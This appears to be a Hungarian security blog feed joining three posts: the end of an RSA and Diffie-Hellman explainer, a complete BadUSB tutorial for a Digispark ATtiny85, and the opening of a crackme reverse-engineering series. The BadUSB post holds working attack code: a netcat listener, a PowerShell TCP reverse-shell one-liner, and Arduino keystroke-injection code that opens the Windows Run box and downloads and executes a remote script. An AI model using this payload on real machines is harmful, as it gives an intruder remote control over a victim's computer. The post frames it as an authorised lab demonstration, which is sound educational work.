<p>Ha \(p | x\) és \( q \nmid x\) akkor külön-külön bemutatjuk</p>
<ol>
<li>
<p>\[x^{k\phi(n) + 1} \equiv x \pmod q\]</p>
</li>
<li>
<p>\[x^{k\phi(n) + 1} \equiv x \pmod p\]</p>
</li>
</ol>
<p>kongruenciát is, hiszen ekvivalens ez \(x^{k\phi(n) + 1} \equiv x \pmod n\)-nel</p>
<p>Az 1. állítás bizonyítása 1:1 megegyezik azzal az esettel mikor \((n,x)=1\) hiszen most \((q,x)=1\).
A 2. állítás pedig szinte ugyanaz mint amikor \(x \equiv 0 \pmod n\).</p>
<p>Ha \(p \nmid x\) és \( q | x\) akkor az előző esethez szimmetrikusan, hasonlóan bizonyíthatunk csak \(q\) és \(p\) szerepét felcserélve.</p>
<p>Most már teljes a bizonyítás!</p>
<h4 id="megjegyzések-a-gyakorlati-alkalmazáshoz">Megjegyzések a gyakorlati alkalmazáshoz</h4>
<p>A dekódolás folyamatában, az 1 nagy hatványkitevős ismételt négyzetre emelést érdemes lecserélni 2 kisebb kitevős ismételt négyzetre emelésre, és ez ekvivalens is lesz a kínai maradéktétel miatt, ugyanakkor kisebb hatványkitevővel dolgozik ez a 2 ismételt négyzetre emelés ami a gyakorlatban gyorsabb mint az 1 nagy hatványkitevővel. A részletekbe most nem megyek bele.</p>
<p>Most pedig térjünk rá a biztonságra, ami egy titkosításnál sarkalatos pont úgy hiszem. Már eset róla szó hogy az egész RSA biztonsága az a faktorizációs problémára épül. Ahogy már említettem kulcs hossznál már a 2048 bit ajánlott, bár még nem ismert olyan eset, hogy 1024 bites kulcsot praktikus időn belül feltörtek volna. 512 bites kulcsokat még nem de már ennél rövidebb kulcsokat talán már 20 évvel ezelőtt is feltörtek gépparkokkal, ma már egy asztali számítógép is megtudja csinálni reális időn belül. Az aktuális viszont a kérdés, hogy a kvantumszámítógépek megjelenése mennyire zavarja meg ezt a magabiztosságot. Rosszul fogalmaztam mert ez már 1994 óta nem is kérdés, mivel Peter Shor bemutatta, hogy ha valaha keletkezik kvantumszámítógép, akkor azon polinomiális időn belül törhető lesz az RSA. Emiatt nemzet szintű szervezetek és játékosok, illetve most már applikációk is (pl. Signal, Messenger) kezdenek átállni kvantum rezisztens titkosításokra.</p>
<p>Nem feltétlenül kell viszont hatalmas magaslatokban gondolkodni ha RSA sérülékenységről van szó. Elég csak egy rossz konfiguráció. Például ha \(e=3\) azaz túl kicsi, akkor könnyen meglehet hogy \(x^e &lt; n\) és ilyenkor csak elég \(e\)-dik gyökét venni a titkosított üzenetnek, és mivel nem jászott a modulus, ezért megkapjuk gond nélkül az üzenetet. Ez amatőr dolog, gyakorlatban nem megszokott de például CTF feladatban előfordulhat. Kulcs generálásnál is már említettem, hogy rendkívül fontos az eléggé random véletlenszám generátor, ami nem kis feladat. Hallottam, hogy például valamilyen nagy cég lávalámpa mátrixot használt, ahol a lávalámpákban mozgó kis buborékok mozgását figyelték és ezek alapján generáltak véletlenszámot.</p>
<p>A csupasz RSA determinisztikus, tehát ugyanaz a kulcs ugyanazt az üzenetet, ugyanazt a titkosított szöveget köpi ki. Ebből az következik, hogy a támadóknak lehetősgük van idő-tárhely &ldquo;trade-off&rdquo;-ra. Ez hasonlít a hash függvények elleni támadásra, ahol úgynevezett &ldquo;rainbow table&rdquo;-lel előre lehashelnek rengeteg előfordulható szöveget (főképp jelszavakat) majd eltárolják az eredményeket. Itt is ez a helyzet, a nyílvános publikus kulccsal letitkosítunk temérdek variációt és eltároljuk őket, majd ha valamit vissza akarunk fejteni, csak megkeressük a hatalmas adatbázisunkban, hogy van-e egyezés. Félelemre semmi ok, pontosan ugyanúgy lehet védekezni ez ellen is mint a rainbow table-ök ellen is. Ott a salting azaz sózásnak hívták, itt padding-nek nevezik. Padding-nél az üzenetet bizonyos protokoll szerint kiegészítjük egy véletlenszerű toldással, majd ezt feloldásnál visszafele eljátszuk.</p>
<p>Ami engem izgat és biztosan meg fogom csinálni a gyakorlatban, azok a side-channel támadások. Ezek arra alapoznak, hogy a támadónak hozzáférése van plusz információkhoz a titkosítás során, például hogy milyen hardveren történik, mennyi idő alatt, mekkora teljesítményt igényel, mennyi hőt vagy elektromágneses hullámokat bocsájt ki a processzor a titkosítás alatt. Olyan titkosítás nem létezik amely side-channel támadással ne lehetne feltörni, mivel az implementációt nem lehet tökéletesre megcsinálni. Viszont ehhez fizikai hozzáférésre lenne szükségünk a számítógéphez amely szerencsére nagyban csökkenti a támadók esélyeit.</p>
<h3 id="diffie-hellman">Diffie-Hellman</h3>
<p>Az RSA képes hatalmas üzenetek blokkonkénti titkosítására a tárgyalt aszimmetrikus algoritmussal, de az igazság az, hogy bármennyire is próbálkozunk optimalizálni, egy szimmetrikus titkosítás mindig gyorsabb lesz nála. A szimmetikus titkosításnak viszont szüksége van egy közös titkos kulcsra amely titkosan lett megosztva a felek közöt, ezt a problémát már a cikk elegén túltárgyaltam. Tehát az aszimmetrikus és szimmetrikus titkosításnak is megvannak előnyei és hátrányai. Mit csináltak a zseniális mérnökök? Mindkettőt használják egyszerre megtartva a jó tulajdonságokat a rosszaktól pedig megszabadulva. Ezért az internet vadvilágában az a szabvány, hogy A és B eszköz aszimmetrikus titkosítással közös titkos kulcson megegyeznek, majd ezután egy megegyezett szimmetrikus titkosításra átváltanak. Lenyűgöző, nem?</p>
<p>Itt jön képbe a Diffie-Hellman-kulcscsere, ami időben meg is előzte az RSA-t, az 1976-os megjelenésével. Az elismerés érte Ralph Merkle-t, Whitfield Diffie-t és Martin Hellmant-t érdemli. Az algoritmus célja, hogy nyílvános kulcsú rejtjelezéssel, felek között megteremtsen egy közös titkot, amelyhez harmdik fél hozzáférni nem tudhatott. Ezt az RSA-hoz hasonlóan egy olyan függvénnyel teszi ami egyirányú.</p>
<p><img alt="diffie" src="/diffie.png"></p>
<p>Wikipédián találtam ezt a remek kis egyszerű ábrát amit követve könnyen meg lehet érteni a fő gondolatot.</p>
<p>A folyamat az alábbi:</p>
<p>Alice és Bob megegyeznek publikusan \(p,g \in N\) számokról (ábrával ellentétben, nagyságrendben nagyobb számokat használva).</p>
<p>Alice és Bob is külön-külön felhasználják titkos kulcsaikat.
Alicenál, az \(a, \in N\) titkos kulccsal:</p>
<p>\[A=g^a \pmod p\]</p>
<p>Bobnál, a \(b, \in N\) titkos kulccsal:</p>
<p>\[B=g^b \pmod p\]</p>
<p>Majd \(A\)-t Alice elküldi publikusan Bobnak, Bob pedig \(B\)-t Alicenak.</p>
<p>Ezután mindkettőjük a kapott értéken megint felhasználják titkos kulcsukat. A keletkező \(s\) szám lesz a közös titok.</p>
<p>Az algoritmus fő ötlete, hogy kihasználja az alábbi összefüggést</p>
<p>\[g^{ab} \equiv g^{ba} \pmod p\]</p>
<p>Ez teszi lehetővé, hogy Alice és Bob is ugyanazt az értéket kapja meg. Mi állítja meg a támadókat a privát kulcsok visszafejtésére vagy akár a közös titok kiderítésétől?</p>
<p>Itt is egy olyan matematikai függvényen alapszik a biztonság, amelyről azt sejtjük, hogy nem lehet polinomiális időn belül (a kvantumszámítógépeket nem beleértve ebbe megint) elvégezni. Ez a függvény a diszkrét logaritmus. Egyszerűen arról van szó, hogy \(g^a,g^b,p,g\) ismeretével nem tudjuk visszafejteni \(a,b,g^{ab}\) értékeket még mielőtt a Nap kihűlne.</p>
<h3 id="gyakorlat">Gyakorlat</h3>
<p>A fentiekben is már bőven szó esett arról, hogy mire is lehet használni az aszimmetrikus kriptográfiát, de talán most jobban kifejtem.</p>
<h4 id="tls">TLS</h4>
<p>A TLS (Transport Layer Security), egy olyan keretrendszer, szabvány, amely azon protokollok biztonságáért felelős mint például a HTTPS, amelyek A címtől juttatnak el B címre adatokat. Tehát lényegében azt testesíti meg, ami eddig a cél volt, hogy az internet kommunikáció titkosítva legyen. A TLS jóformán az amit, a Diffie-Hellman-kulcscserénél már elmondtam, hogy asszimetikus titkosítással megegyezünk egy közös titkos kulcsban, majd átállunk szimmetikusra ezzel a titokkal, mivel az gyorsabb. Azonban az olyan részleteket kihagytam, mint például hogy azon is ilyenkor egyeznek meg, milyen titkosítást használjanak, amelyre mindkettő eszköz képes.</p>
<p>Fontos feladata a TLS-nek az autentikáció is. Például hiába a sok erőfeszítés ha kivetelezhető egy MITM (Man-In-The-Middle) támadás. Az MITM során a támadó harmadik félként beáll Alice és Bob kommunikációja közé, úgy hogy ezt sem Alice nem veszi észre sem Bob. Ez úgy lehetséges, hogy a támadó, mondjuk József, azt állítja Alicenak, hogy ő Bob, Bobnak pedig azt mondja hogy ő Alice. Így Alice és Bob is József publikus kulcsával fogja titkosítani a kommunikációját, ezért József bármikor beleolvashat abba. Fontos, hogy ahhoz hogy az illúzió működjön, József a kommunikációt továbbítja Alice és Bob között, így a két szereplőnek tényleg fogalma sem lehet hogy valójában valakin keresztül megy az üzenetük.</p>
<p><img alt="mitm" src="/mitm.png"></p>
<p>Erre a megoldások voltak a tanusítványok. Tanusítványokat megbízott harmadik felek állítják elő, és egy tanusítványban szerepel, hogy az adott félhez milyen publikus kulcs tartozik. Ezek az SSL tanusítványok, melyeket te is részletesen el tudsz olvasni bármelyik weboldalnál ha a böngésződben a lakatra kattintasz. Itt van például az enyém:</p>
<p><img alt="cert" src="/cert.png"></p>
<h4 id="challange-response">Challange-response</h4>
<p>Minden eszköz most már rendelkezésünkre áll ahhoz, hogy megoldjuk a korrupt recepciós problémát. A cél az, hogy a recepcióssal ne kelljen megosztanunk semmi titkosat, de ugyanakkor a recepciós 100%-ban biztos lehessen, hogy azok vagyunk akiknek állítjuk magunkat. Mi sem egyszerűbb: a recepciós a tanusítvány szerint Kurz Valentinhez tartozó publikus kulccsal letitkosít valami számára egyedi dolgot, mondjuk egy véletlenszámot, és elküldi azt nekem - ez a challange. Majd én ezt feloldom a titkos kulcsommal, és visszaküldöm neki az eredményt - ez a response. A jó eredményt valóban csak is én tudom megmondani (már ha tényleg én vagyok Kurcz Valentin :D), hiszen csak az én titkos kulcsommal lehet feloldani a hozzám tartozó publikus kulccsal titkosított üzeneteket. A korrupt recepciós pedig a kardjába dőlhet mert nem sikerült kicsalnia belőlünk a titkunkat.</p>
<p>Ezt a challange-response rendszert használja a legtöbb SSH kliens is, amikor távolról szeretnénk elérni egy shell-t. A szerver autentikálja a klienst, hogy meggyőződjön jogosultságairól.</p>
<h4 id="digitális-aláírás">Digitális aláírás</h4>
<p>Autentikációra van más módszer és erre példa a digitális aláírás. Hasznossága kétségbevonhatatlan, hazánkban is már az Ügyfélkapun keresztül alá tudunk írni hivatalos okmányokat, és nemhogy legalább annyira hiteles mint a tinta és papír, de megfelelő konfiguráció mellett, meghamisíthatlan nem úgy mint az írásunk.</p>
<p>Az RSA című elbeszélő költeményemben már szó esett arról, hogy a titkos és a publikus kulcs funkcionalitása felcserélhető (kommmutatívak), nem úgy mint például a Diffie-Hellman esetében. Ezt a tulajdonságot kombinálva egy biztonságos hash függvénnyel, megkapjuk a gyakorlatilag meghamisíthatlan aláírást, ami az aláírt üzenetek integritását is ellenőrzi. A folyamat a következő:</p>
<ol>
<li>
<p>Az aláírandó dokumentumot leképezzük egy hash értékre.</p>
</li>
<li>
<p>Ezt a hash értéket kombináljuk az RSA algoritmusával a titkos kulccsal (direkt nem titkosítást mondtam)</p>
</li>
<li>
<p>Majd ennek a végeredményét mellékeljük mint aláírás a dokumentumunk mellé.</p>
</li>
</ol>
<p><img alt="digsig" src="/digsig.png"></p>
<p>Aki ellenőrizni szeretné az aláírást, csak annyi a dolga, hogy a dokumentumot hasheli, és az aláírást kombinálja a feltételezett aláíró publikus kulcsával, és ha az eredmény egyezik az előbbi hashel, akkor biztosak lehetünk, hogy ő írta alá.</p>
<p>A hashelés lépése több szempontból is kézenfekvő:</p>
<ul>
<li>
<p>Mivel bármilyen nagy dokumentumra, ugyanolyan hosszú hash digest-et képez (pl SHA256 esetén 32 byte hosszúságút) ezért a titkos kulccsal való kombinálás gyorsabban megy.</p>
</li>
<li>
<p>Hashelés egyik természetes haszna az integritás ellenőrzése, hiszen a legkisebb változás is a bemenetben, teljesen más hash digest-et eredményezhet. Így ha a dokumentum, amit aláírtunk az ellenőrzés előtt az úton valahol manipulálva, módosítva lett, akkor az aláírás érvénytelenítődik.</p>
</li>
</ul>
<p>Fontos megjegyzés az is, hogy ha egyszer valami aláírva lett, utána letagadni azt nem lehet, hiszen senki más nem írhatta alá.</p>
<p>Ennek a biztonsága is azon múlik, hogy semmilyen titkos kulcs nem kerül illetéktelen kezekbe, mert ha ez megtörténik, utána a támadó az ellopott kulcs tulajdonosának adhatja ki magát bárhol, bármikor. Ennek a következmé Sajnos ilyenek történnek, ezért kell valami immunitás ez ellen. Ezért vezették be a kulcsok érvénytelenítését, amiket akkor használunk ha kulcsunkat ellopták és nem akarjuk, hogy felhasználhassák őket.</p>
<h2 id="összegzés">Összegzés</h2>
<p>Sikerült összefoglalni felső nézetből az asszimetikus rejtjelezést, néhol belemenni a részletekbe is, példákkal ellátva. Jelenleg is kezdő pályán vagyok ebben a témában szóval könnyen előfordul, hogy valahol nem pontosan fogalmaztam. Ebben az esetben szólj és kijavítom.</p>
<p>Irodalom amit használtam/olvastam: Applied Cryptography, Second Edition: Protocols, Algorthms, and Source Code in C</p>
<h2 id="források">Források</h2>
<p><a href="https://people.csail.mit.edu/alinush/6.858-fall-2014/l16-timing-attacks.html">https://people.csail.mit.edu/alinush/6.858-fall-2014/l16-timing-attacks.html</a></p>
<p><a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)">https://en.wikipedia.org/wiki/RSA_(cryptosystem)</a></p>
]]></content>
        </item>
        
        <item>
            <title>Csak egy ártatlan pendrive</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/07/csak-egy-%C3%A1rtatlan-pendrive/</link>
            <pubDate>Tue, 23 Jul 2024 19:22:46 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/07/csak-egy-%C3%A1rtatlan-pendrive/</guid>
            <description>Filmekben lehet látni olyat, hogy a titkosügynökök a számítógépbe dugnak egy pendrive-ot és utána történik a varázslat. Itt is valami hasonlót csinálok, csak informatikusként sokkal menőbb vagyok mint a titkosügynökök.</description>
            <content type="html"><![CDATA[<p>Bedugod, eltelik 5 másodperc, megtörténik a varázs és kihúzod. Nem, ez most nem az forgatókönyv amire gondolsz, ez történik a USB Rubber Ducky-hez hasonló mikrokontrollerek használatakor. Lényegében a számítógép ilyenkor ezeket az eszközöket HID-ként, azaz Human Interface Device-ként kezeli, mint például egy billentyűzetet is. Ez azt engedi meg, hogy lényegében az USB bedugása után elindul az arra feltöltött program, és elkezdi gépelni ezerrel azt, mindeközben az operációs rendszer teljes engedelmességet tanusít. Első kérdés az lenne, hogy ezt miért teheti meg, miért nem kér a számítógép jogosultságot? Billentyűzetben is megbízik a számítógép, mivel ember ül mögötte nem pedig egy zsarolóprogram vagy bármi ilyesmi, és hasonlanlóan viszonyul minden más HID-hez is, beleértve a &ldquo;badUSB&rdquo;-t is. Ezek a kis eszközök viszont sokkal gyorsabban tudnak gépelni mint egy ember, ezért a lehetőségeknek csak a kreativitás szab határt. Azt nem szabad elfelejteni, hogy talán azért nem jelent ez akkora biztonsági kockázatot, mint ahogyan én most itt felvezettem, mert egy nagyon fontos feltételnek teljesülnie kell a müködéséhez: fizikai jelenlét. Ez nagy kihívást jelenthet a legtöbb támadó fél számára, de az esély rá nem 0 tehát számolni kell vele. Olyanra is volt már példa, hogy célzottan például egy rendőrség vagy irodaház parkolójában szórtak szét ilyen kártékony USB-ket és az áldozatok, emberlétükre kiváncsiságból bedugták a szervezeti, céges számítógépükbe, és a baj meg is történt még mielőtt észrevették volna.</p>
<p>Persze nem csak csúnya dolgokra lehet ezt használni. Ha például rendszergazdák vagyunk akkor akár a repetatív feladatokat könnyen felcserélhetjük egy bedugás és kihúzás mozdulatára ennek segítségével.</p>
<h2 id="felelősség">Felelősség</h2>
<p>A tudás és a tapsztalat felelősséggel, és azon kötelességgel jár, hogy csak is embertársaink, és környezetünk előnyére, jólétére használhatjuk fel. Semmilyen körülmények között nem élhetünk vissza azzal a hatalommal, amelyet az élet ruházott ránk, amikor voltunk olyan szerencsések, hogy valamire rájöttünk, valamit megtanultunk. Ez különösen igaz a kiberbiztonság témakörében és még máskor is ki fogom ezt hangsúlyozni. Én az itt bemutatott technikákat csakis saját, vagy olyan rendszeren, számítógépen próbálom ki, amelyekhez engedélyt kaptam a tulajdonostól. A célom a dokumentálás és a tanításnak a szándéka, hogy így egy biztonságosabb internet és informatika születhessen. <strong>Ezáltal szeretném tisztázni, hogy engem semmilyen felelősség nem terhel, hogy TE a saját döntéseid után ezt a tudást mire használod.</strong></p>
<h2 id="digispark-attiny85">Digispark ATTiny85</h2>
<p>Az alternatívát a Digispark kínálja mely egy ATTiny85 8 bites RISC utasításkészletű mikrokontrollerrel rendelkezik, amely hála a fejlesztőknek, kompatibilis az Arduino IDE fejlesztői környezettel egy kis babrálás után. Az ára rendkívül baráti a $80-hoz képest, magyarországi forgalmazók 1500 Ft környékén árulják, de ha van időd megvárni, akkor lehet hogy Aliexpressről olcsőbban be tudod szerezni. Nem promóció de <a href="https://www.hestore.hu/prod_10036419.html">itt</a> egy magyar forgalmazónál egy példa.</p>
<p>Itt a cukiság</p>
<p><img alt="Digispark" src="/digispark.jpg"></p>
<h3 id="ardunio-ide-setup">Ardunio IDE setup</h3>
<p>Az Arduino IDE-t töltsd le a hivatalos oldalról, vagy csomagkezelőddel (nekem a csomagkezelős változat hiányos volt). Mivel ez nem egy Arduino board ezér külön le kell tölteni hozzá az illesztést. Ezt az alábbi módon tudod megtenni:</p>
<ol>
<li><strong>File &raquo; Prefrences &raquo; Additional board manager URLs:</strong> ide illeszd be ezt a linket <strong><a href="https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json">https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json</a></strong> (más tutoriálokban esetleg más linket látsz az azért van mert azok még a hivatalos oldalról vannak, de sajnos nem olyan rég megszűnt a támogatás onnan, ezért kellett kiásnom a Github repo-ból ugyanarra a fájlra mutató linket).</li>
<li><strong>Board manager &raquo; Itt keresd meg a &ldquo;Digistump AVR&rdquo; csomagot</strong> és töltsd le.</li>
<li><strong>Tools &raquo; Itt a &ldquo;programmer&rdquo;-nél</strong> válaszd ki a Micronucleus-t, a &ldquo;board&rdquo;-nál pedig a Digispark 16,5 Mhz (default)-ot.</li>
</ol>
<p>Kész is vagy!</p>
<h3 id="egyéb">Egyéb</h3>
<p>Az eredeti Arduino board-okat az operációs rendszerek automatikusan ellátják a megfelelő jogosultságokkal, hogy programozhatóak legyenek, de könnyen lehet hogy neked a Digisparkot nem ismeri fel hasonlóképpen. Ennek megoldásához Linuxon a továbbiakat kell tenned:</p>
<ol>
<li>Hozz létre egy 49-micronucleus.rules fájlt az itt jelölt helyen: /etc/udev/rules.d/49-micronucleus.rules</li>
<li>Másold bele ezeket a sorokat és futtasd a parancsot:</li>
</ol>
<p>SUBSYSTEMS==&ldquo;usb&rdquo;, ATTRS{idVendor}==&ldquo;16d0&rdquo;, ATTRS{idProduct}==&ldquo;0753&rdquo;, MODE:=&ldquo;0666&rdquo;</p>
<p>KERNEL==&ldquo;ttyACM*&rdquo;, ATTRS{idVendor}==&ldquo;16d0&rdquo;, ATTRS{idProduct}==&ldquo;0753&rdquo;, MODE:=&ldquo;0666&rdquo;, ENV{ID_MM_DEVICE_IGNORE}=&ldquo;1&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>sudo udevadm control --reload-rules
</span></span></code></pre></div><h2 id="payload">Payload</h2>
<p>Most már lehet programozni a kis cukiságot. Én példaképpen egy rendkívül egyszerű reverse shell-t fogok megvalósítani vele, a cél számítógép és a saját gépem között.</p>
<blockquote>
<p><strong>Reverse shell:</strong> A shell az egy médium, egy interfész a felhasználó és a vas között, ami általában parancssorba gépelt utasításokat lefordít a számítógép nyelvére, hogy aztán a kernel segítségével végrehajtódjanak. A shell az vonatkozhat egy távoli eléréssel kapcsolódott számítógépre is, erre ismert protokolok például az SSH (Secure Shell). Ilyenkor a távoli számítógép &ldquo;hallgatózik&rdquo;, hogy van-e valaki aki kapcsolatot akar teremteni vele, és ha mi akarunk az otthoni gépünkről elérni az ottani shell-t, akkor mi küldünk kérést neki. A <strong>reverse shell</strong> &ldquo;reverse&rdquo; része abból következik, hogy ilyenkor a szerepek feladata megcserélődik, a távoli gép kezdeményezi a csatlakozást. Ezt azért használják támadási vektornak mert a cél számítógép tűzfala a kimenő kéréseket nem akadályozza meg, de a bemenőeket igen. Egy ilyen reverse shell a támadónak esélyt ad, hogy fájlokat szolgáltasson ki, megteremtse a perzisztenciát, hogy ki-be tudjon járkálni kedve szerintde más sérülékenységekkel vegyítve tetszőleges célokat el tud érni vele.</p>
</blockquote>
<p><img alt="reverseshell" src="/reverse_shell.jpg"></p>
<p>Én ezt a legamatőrebb módon teszem meg (ez egy valós szituációban nem állná meg a helyét), csupán a koncepciót és a Digispark képességeinek egy töredékét szeretném bemutatni. A lényeg az, hogy lokálisan szolgáltatom egy php szerveren a powershell scriptet, illetve &ldquo;hallgatózom&rdquo; a saját gépemen a reverse shell kérést várva. Majd a cél gépen ezt a scriptet töltjük le (az USB segítségével), amit futtatva powershell-ben, csatlakozik a &ldquo;hallgatózó&rdquo; számítógépünkhez, így megteremtve a reverse shell-t. Ezt a folyamatot egy valós helyzetben botnettel csinálná a támadó szerintem, hogy a kilétét elfedje.</p>
<p><strong>Netcat-tel hallgatózom a 4444 porton</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>nc -lp <span style="color:#ff0;font-weight:bold">4444</span>
</span></span></code></pre></div><p><strong>php szerverrel szolgáltatom azt a könyvtárat, ahol a script van</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>sudo php -S 0.0.0.0:80 -t /directory/to/folder/of/powershellScript/
</span></span></code></pre></div><p><strong>payload.ps1 fájl tartalma, ez a powershell script amit megosztunk</strong></p>
<p>Változtasd meg a saját host IP címedre a &ldquo;HOST_IP_ADDRESS&rdquo;-t.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ps" data-lang="ps"><span style="display:flex;"><span>$sm=<span style="color:#0ff;font-weight:bold">(New-Object Net.Sockets.TCPClient(&#34;HOST_IP_ADDRESS&#34;,4444))</span>.GetStream<span style="color:#0ff;font-weight:bold">()</span>;[byte[]]$bt=0..65535|<span style="color:#007f7f">%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2&gt;&amp;1));$sm.Write($st,0,$st.Length)}
</span></span></span></code></pre></div><p>Samratashok érdeme ez a kis script. <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1">Github repo</a></p>
<p>Most pedig az amit tényleg az USB fog csinálni. Ugyebár úgy kell gondolkodnunk mintha egy billentyűzetet kellene programozni előre. Ahogy már említettem ehhez az Arduino IDE segítségünkre lesz.</p>
<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#0f0;font-weight:bold">#include</span> <span style="color:#0f0;font-weight:bold">&#34;DigiKeyboard.h&#34; // a header ami leegyszerűsíti a parancsok kiírását</span><span style="color:#0f0;font-weight:bold">
</span></span></span><span style="display:flex;"><span><span style="color:#0f0;font-weight:bold"></span><span style="color:#fff;font-weight:bold">void</span> setup() {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fff;font-weight:bold">void</span> loop() {
</span></span><span style="display:flex;"><span>  DigiKeyboard.sendKeyStroke(<span style="color:#ff0;font-weight:bold">0</span>); <span style="color:#007f7f">// az eddigi gépelést &#34;reset&#34;-eljük
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>  DigiKeyboard.delay(<span style="color:#ff0;font-weight:bold">500</span>); <span style="color:#007f7f">// várást kell illetve ajánlott beiktatni, mert a számítógép sokszor nincs felkészülve a hirtelen billentyűnyomásra és esetleg figyelmenkívül hagy egy betűt, ezzel elrontva mindent akár
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); <span style="color:#007f7f">// Win + R
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>  DigiKeyboard.delay(<span style="color:#ff0;font-weight:bold">500</span>);
</span></span><span style="display:flex;"><span>  DigiKeyboard.print(<span style="color:#0ff;font-weight:bold">&#34;powershell </span><span style="color:#0ff;font-weight:bold">\&#34;</span><span style="color:#0ff;font-weight:bold">IEX (New-Object Net.WebClient).DownloadString(&#39;https://mywebserver/payload.ps1&#39;);</span><span style="color:#0ff;font-weight:bold">\&#34;</span><span style="color:#0ff;font-weight:bold">&#34;</span>); <span style="color:#007f7f">// az említett script letöltésére és futtatására, itt amúgy nekem bejelezett a Windows Defender, ezért kifinomultabb delivery módszer szükséges
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>  DigiKeyboard.sendKeyStroke(KEY_ENTER);
</span></span><span style="display:flex;"><span>  <span style="color:#fff;font-weight:bold">for</span> (;;) {
</span></span><span style="display:flex;"><span>    <span style="color:#007f7f">// üres ciklus, hogy ne fusson le újra a script
</span></span></span><span style="display:flex;"><span><span style="color:#007f7f"></span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Ezt a kódot feltöltjük a Micronucleus-szal a Digispark-ra és már készen is vagyunk. A saját LAN-on most már bármelyik Windows gép fölött átvehetjük az irányítást.</p>
]]></content>
        </item>
        
        <item>
            <title>Program visszafejtés - No. 1</title>
            <link>https://securiteam.kszk.bme.hu/hu/posts/2024/07/program-visszafejt%C3%A9s-no.-1/</link>
            <pubDate>Wed, 17 Jul 2024 17:53:55 +0200</pubDate>
            
            <guid>https://securiteam.kszk.bme.hu/hu/posts/2024/07/program-visszafejt%C3%A9s-no.-1/</guid>
            <description>Bevezető a reverse engineering világába, ahol kezdő szintű program visszafejtős feladatokat oldok meg, bemutatom a technikákat és az alapokat. Csak annyit tudok mondani hogy: &amp;ldquo;Ki itt belépsz, hagyj fel minden reménnyel.&amp;rdquo;</description>
            <content type="html"><![CDATA[<h2 id="bevezető">Bevezető</h2>
<p>Az informatikában sok helyen hasznos lehet ha az ember beláthat a színfalak mögé. Ilyen például amikor egy kártékony programmal megtámadnak egy céget, és a hatékony védekezés érdekében, a blue team oldalán, meg akarjuk tudni az ellenség módszereit, taktikáit és procedúráit. Ekkor az említett programot elemeire kell bontani, szét kell cincálni. Ugyanakkor előfordul, hogy a másik oldalon, a red team-ben vagyunk, amikor is teljesen nemes szándékkal vezérelve, és engedéllyel a birtokunkban, megpróbálunk hibát keresni egy programban, hogy aztán azt kihasználva, érvényesítsük céljainkat.</p>
<p>Nem lehet jobban hangsúlyozni a program visszafejtéssel elsajátítható készségek fontosságát az informatikában. A kiberbiztonság kétségkívül egy olyan ág, ahol ez különösen igaz. Nem véletlen, hogy a 3 betűs amerikai ügynökségek bizzilión mennyiségű dollárt fektetnek be ebbe az ágazatba.</p>
<p>Ebben a kis cikk sorozatban vissza fogok fejteni egy pár &ldquo;crackme&rdquo;-t a lehető legegyszerűbb eszközöket használva. A programok a <a href="https://crackmes.one">crackmes.one</a> oldalról vannak, ahova edukációs célokkal tudnak az emberek programokat feltölteni, amiket mások meg gyakorlásként fel tudnak törni.</p>
<p><img alt="crackmes" src="/crackmes.png"></p>
<h2 id="kis-alapozás">Kis alapozás</h2>
<p>Egyáltalán miért is olyan fene nehéz visszafejteni a programokat? A világon több gazdasági modell is létezik a program fejlesztésre, de általában azt szoktuk mondani, hogy egy program vagy zárt vagy nyílt forráskódú.</p>
<p>A zárt programokat általában cégek finanszírozzák és fejlesztik, majd a végeredményt értékesítik. Ekkor a forráskódot nem teszik közzé, hiszen az egyenlő lenne azzal, hogy ingyenessé teszik a programjukat.</p>
<p>Ezzel ellentétben a nyílt forráskódú programok, mint például a linux kernel, a közösség által vannak fenntartva, ingyenesek, bárki hozzájárulhat és fejlesztheti őket.</p>
<p>Most nem megyek bele ebbe a vitába, mindkét oldalnak megvannak a saját érvei, de annyit elmondanék, hogy biztonsági szempontból nézve a nyílt forráskódú projektek szerintem jobb helyzetben vannak mint a part túloldala. Az ok erre egyszerű, a zárt programok kódját visszafejtés nélkül nem lehet ellenőrizni. Az egész rendszer a &ldquo;trust me bro&rdquo; elven működik, mivel a felhasználónak semmi hatalma nincsen arra, hogy megnézze valójában mit is csinál a program. Ez abból a szempontból is kicsit gáz, hogy így nem csak abban kell bízni, hogy a fejlesztők szakmailag tökéletes munkát végeznek, hanem abban is, hogy a program tényleg semmi mást nem csinál az állítottakon kívül, hiszen ha úgyse tudja ellenőrizni ezt senki, és ráadásul még így lehet több profitot termelni, akkor miért is ne csinálnák? Láttuk már, hogy ekkor mi történik (khm Facebook per).</p>
